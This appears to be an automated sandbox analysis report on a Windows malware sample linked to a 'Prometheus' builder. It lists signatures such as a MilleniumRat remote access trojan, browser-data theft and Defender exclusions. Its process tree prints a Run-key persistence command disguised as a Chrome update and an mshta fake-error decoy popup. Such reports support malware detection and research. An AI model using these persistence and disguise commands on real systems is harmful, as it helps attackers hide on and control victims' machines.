Analysis
- max time kernel
2418s - max time network
2701s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
08/05/2024, 15:04
General
- Target New Text Document.txt
- Size 257B
- Sample240508-sfxlwace47
- SHA256 9b46735c2fa7bf33c94b2b14734eee1c17655e25e5e6088b782815c1b985e452
Malware Config
Signatures
- MilleniumRat
MilleniumRat is a remote access trojan written in C#.
- Suspicious use of NtCreateProcessExOtherParentProcess 7 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 44 IoCs
- Contacts a large (77172) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file
- Stops running service(s) 4 TTPs
- Checks computer location settings 2 TTPs 12 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers COM server for autorun 1 TTPs 4 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Adds Run key to start application 2 TTPs 3 IoCs
- Blocklisted process makes network request 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 26 IoCs
- Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Mark of the Web detected: This indicates that the page was originally saved or cloned. 1 IoCs
- Drops file in System32 directory 10 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Suspicious use of SetThreadContext 10 IoCs
- Drops file in Program Files directory 6 IoCs
- Drops file in Windows directory 64 IoCs
- Launches sc.exe 40 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Detects Pyinstaller 8 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 17 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 14 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 8 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 4 IoCs
- Enumerates processes with tasklist 1 TTPs 4 IoCs
- Enumerates system info in registry 2 TTPs 19 IoCs
- Modifies Internet Explorer settings 1 TTPs 8 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 6 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 35 IoCs
- Suspicious use of UnmapMainImage 5 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
- Suspicious behavior: GetForegroundWindowSpam
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
-
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
- Drops file in Windows directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
- Suspicious use of UnmapMainImage
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x550 0x5602⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\NOTEPAD.EXEC:\Windows\system32\NOTEPAD.EXE "C:\Users\Admin\AppData\Local\Temp\New Text Document.txt"2⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe409bab58,0x7ffe409bab68,0x7ffe409bab783⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1604 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1816 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2240 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2944 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2952 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4316 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4460 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4588 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4576 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4720 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3228 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4464 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4700 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4796 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=1108 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=4876 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5060 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5212 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5176 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5468 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:23⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5124 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4940 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5464 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4880 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5560 --field-trial-handle=1920,i,17975507458132455759,18290124660736033985,131072 /prefetch:83⤵
-
-
-
C:\Users\Admin\Downloads\python-3.10.11-amd64.exe"C:\Users\Admin\Downloads\python-3.10.11-amd64.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Temp\{1A0E972F-51B9-4EE3-87CD-0622531E19CC}\.cr\python-3.10.11-amd64.exe"C:\Windows\Temp\{1A0E972F-51B9-4EE3-87CD-0622531E19CC}\.cr\python-3.10.11-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.10.11-amd64.exe" -burn.filehandle.attached=568 -burn.filehandle.self=5763⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Modifies registry class
-
C:\Windows\Temp\{F3D09B24-2EC4-4A37-8639-B076AF7CEACC}\.be\python-3.10.11-amd64.exe"C:\Windows\Temp\{F3D09B24-2EC4-4A37-8639-B076AF7CEACC}\.be\python-3.10.11-amd64.exe" -q -burn.elevated BurnPipe.{13BFD4FE-9C0B-4B13-BD61-65476ADDA9EF} {E2F73F2D-947E-4296-A7D3-8F0704B6EF5B} 21684⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\Builder.bat" "2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython --version3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -c "import customtkinter"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -m pip install customtkinter3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -c "import PIL"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -m pip install pillow3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -c "import pyaes"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -m pip install pyaesm3⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -c "import urllib3"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -m pip install urllib33⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython gui.py3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\hacn.exeenv/Scripts/dist/hacn.exe4⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\hacn.exeenv/Scripts/dist/hacn.exe5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI47042\s.exe -pbeznogym6⤵
-
C:\Users\Admin\AppData\Local\Temp\_MEI47042\s.exeC:\Users\Admin\AppData\Local\Temp\_MEI47042\s.exe -pbeznogym7⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\ProgramData\main.exe"C:\ProgramData\main.exe"8⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpD99.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpD99.tmp.bat9⤵
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 4888"10⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\find.exefind ":"10⤵
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak10⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"10⤵
- Checks computer location settings
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f11⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f12⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
-
-
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"8⤵
- Executes dropped EXE
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"9⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\ProgramData\setup.exe"C:\ProgramData\setup.exe"8⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
-
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('System requirements do not reach this programs preconditions.', 0, 'FATAL ERROR', 32+16);close()""4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('System requirements do not reach this programs preconditions.', 0, 'FATAL ERROR', 32+16);close()"5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "python -m venv env"4⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exepython -m venv env5⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe -m ensurepip --upgrade --default-pip6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" -m ensurepip --upgrade --default-pip7⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp5qiuc7vk\\setuptools-65.5.0-py3-none-any.whl', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp5qiuc7vk\\pip-23.0.1-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp5qiuc7vk', '--upgrade', 'setuptools', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp5qiuc7vk\\setuptools-65.5.0-py3-none-any.whl', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp5qiuc7vk\\pip-23.0.1-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp5qiuc7vk', '--upgrade', 'setuptools', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "9⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\run.bat" "4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Suspicious use of SetWindowsHookEx
-
-
